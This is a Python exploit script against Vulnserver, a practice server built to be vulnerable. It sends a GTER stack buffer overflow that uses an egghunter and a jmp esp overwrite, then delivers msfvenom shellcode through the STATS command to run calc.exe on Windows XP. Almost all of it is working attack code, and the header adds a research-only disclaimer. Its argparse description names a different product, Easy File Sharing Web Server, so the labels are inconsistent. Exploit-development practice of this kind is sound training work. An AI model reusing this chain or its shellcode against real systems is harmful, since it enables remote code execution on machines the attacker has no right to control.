'''
	Exploit Scripter: Abhilash Nigam
	Vulnerable Software: Vulnserver 
		Available Here: https://github.com/stephenbradshaw/vulnserver
	Payload: windows/exec CMD=calc.exe
	System Info: Windows XP SP3 

	Disclaimer: PLEASE! This is for research purposes only, and should only be used on authorized systems.
				Accessing a computer system or network without authorization or explicit permission is illegal.
 '''

import socket
import os
import sys
import argparse


parser = argparse.ArgumentParser(description='Easy File Sharing Web Server Exploit')
parser.add_argument('-t', '--target', action='store', help='IP Address of the target Machine', default="", required=True)
parser.add_argument('-p', '--port', action='store', help='Port Number of the target Machine', default="", required=True, type=int)
args = parser.parse_args()

'''
=======================================================================
Setting stage for final shellcode
=======================================================================
'''

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target, args.port))

egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8"
egghunter += "\x61\x62\x68\x69"						#abhi is being used as our egg 
egghunter += "\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

buffer = "GTER "
buffer += "/.:/ "
buffer += "\x90" * 14
buffer += egghunter
buffer += "A" * (146 - 14 - len(egghunter))
buffer += "\x69\xf0\xde\x77" 						#Ovwerwriting the eip with address 77def069 pointing to instruction jump esp
buffer += "\x90" * 3
buffer += "\x83\xEC\x46\x83\xEC\x46\xFF\xE4"		#Bypassing the space restrictions by substracting the 140bytes from esp and then jumping to esp. 
buffer += "\x90" * (5005 - len(buffer))

request = buffer
sock.send(request)
sock.close()

'''
=======================================================================
Sending Shellcode
=======================================================================
'''
#msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00' 
shellcode =  b""
shellcode += b"\xb8\xf0\x79\x14\xaf\xda\xdd\xd9\x74\x24\xf4"
shellcode += b"\x5b\x29\xc9\xb1\x52\x83\xc3\x04\x31\x43\x0e"
shellcode += b"\x03\xb3\x77\xf6\x5a\xcf\x60\x74\xa4\x2f\x71"
shellcode += b"\x19\x2c\xca\x40\x19\x4a\x9f\xf3\xa9\x18\xcd"
shellcode += b"\xff\x42\x4c\xe5\x74\x26\x59\x0a\x3c\x8d\xbf"
shellcode += b"\x25\xbd\xbe\xfc\x24\x3d\xbd\xd0\x86\x7c\x0e"
shellcode += b"\x25\xc7\xb9\x73\xc4\x95\x12\xff\x7b\x09\x16"
shellcode += b"\xb5\x47\xa2\x64\x5b\xc0\x57\x3c\x5a\xe1\xc6"
shellcode += b"\x36\x05\x21\xe9\x9b\x3d\x68\xf1\xf8\x78\x22"
shellcode += b"\x8a\xcb\xf7\xb5\x5a\x02\xf7\x1a\xa3\xaa\x0a"
shellcode += b"\x62\xe4\x0d\xf5\x11\x1c\x6e\x88\x21\xdb\x0c"
shellcode += b"\x56\xa7\xff\xb7\x1d\x1f\xdb\x46\xf1\xc6\xa8"
shellcode += b"\x45\xbe\x8d\xf6\x49\x41\x41\x8d\x76\xca\x64"
shellcode += b"\x41\xff\x88\x42\x45\x5b\x4a\xea\xdc\x01\x3d"
shellcode += b"\x13\x3e\xea\xe2\xb1\x35\x07\xf6\xcb\x14\x40"
shellcode += b"\x3b\xe6\xa6\x90\x53\x71\xd5\xa2\xfc\x29\x71"
shellcode += b"\x8f\x75\xf4\x86\xf0\xaf\x40\x18\x0f\x50\xb1"
shellcode += b"\x31\xd4\x04\xe1\x29\xfd\x24\x6a\xa9\x02\xf1"
shellcode += b"\x3d\xf9\xac\xaa\xfd\xa9\x0c\x1b\x96\xa3\x82"
shellcode += b"\x44\x86\xcc\x48\xed\x2d\x37\x1b\xd2\x1a\xe4"
shellcode += b"\x5a\xba\x58\x0a\x7e\x12\xd4\xec\xea\x74\xb0"
shellcode += b"\xa7\x82\xed\x99\x33\x32\xf1\x37\x3e\x74\x79"
shellcode += b"\xb4\xbf\x3b\x8a\xb1\xd3\xac\x7a\x8c\x89\x7b"
shellcode += b"\x84\x3a\xa5\xe0\x17\xa1\x35\x6e\x04\x7e\x62"
shellcode += b"\x27\xfa\x77\xe6\xd5\xa5\x21\x14\x24\x33\x09"
shellcode += b"\x9c\xf3\x80\x94\x1d\x71\xbc\xb2\x0d\x4f\x3d"
shellcode += b"\xff\x79\x1f\x68\xa9\xd7\xd9\xc2\x1b\x81\xb3"
shellcode += b"\xb9\xf5\x45\x45\xf2\xc5\x13\x4a\xdf\xb3\xfb"
shellcode += b"\xfb\xb6\x85\x04\x33\x5f\x02\x7d\x29\xff\xed"
shellcode += b"\x54\xe9\x0f\xa4\xf4\x58\x98\x61\x6d\xd9\xc5"
shellcode += b"\x91\x58\x1e\xf0\x11\x68\xdf\x07\x09\x19\xda"
shellcode += b"\x4c\x8d\xf2\x96\xdd\x78\xf4\x05\xdd\xa8"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.target, args.port))

buffer = "STATS "
buffer += "abhiabhi"
buffer += shellcode

request = buffer
sock.send(request)
sock.close()
